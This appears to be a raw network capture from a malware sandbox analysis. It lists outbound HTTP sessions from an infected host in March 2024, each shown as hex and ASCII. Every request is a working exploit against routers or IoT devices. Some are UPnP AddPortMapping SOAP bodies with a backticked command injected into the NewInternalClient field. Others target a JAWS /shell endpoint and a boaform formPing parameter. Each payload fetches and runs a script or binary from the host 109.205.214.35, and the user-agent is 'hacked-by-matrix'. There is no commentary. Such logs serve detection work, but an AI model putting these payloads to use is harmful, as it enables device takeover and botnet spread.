64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	45226	34.36.224.198	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.765034914 CET	987	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	40980	194.39.119.148	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.823348045 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	45248	34.36.224.198	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.853877068 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:24.340863943 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:24.948853016 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:26.133708000 CET	987	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	41122	20.236.234.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.901025057 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:24.627798080 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	38784	213.243.63.75	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.316970110 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	60122	178.236.202.35	1723

Timestamp	Bytes transferred	Direction	Data
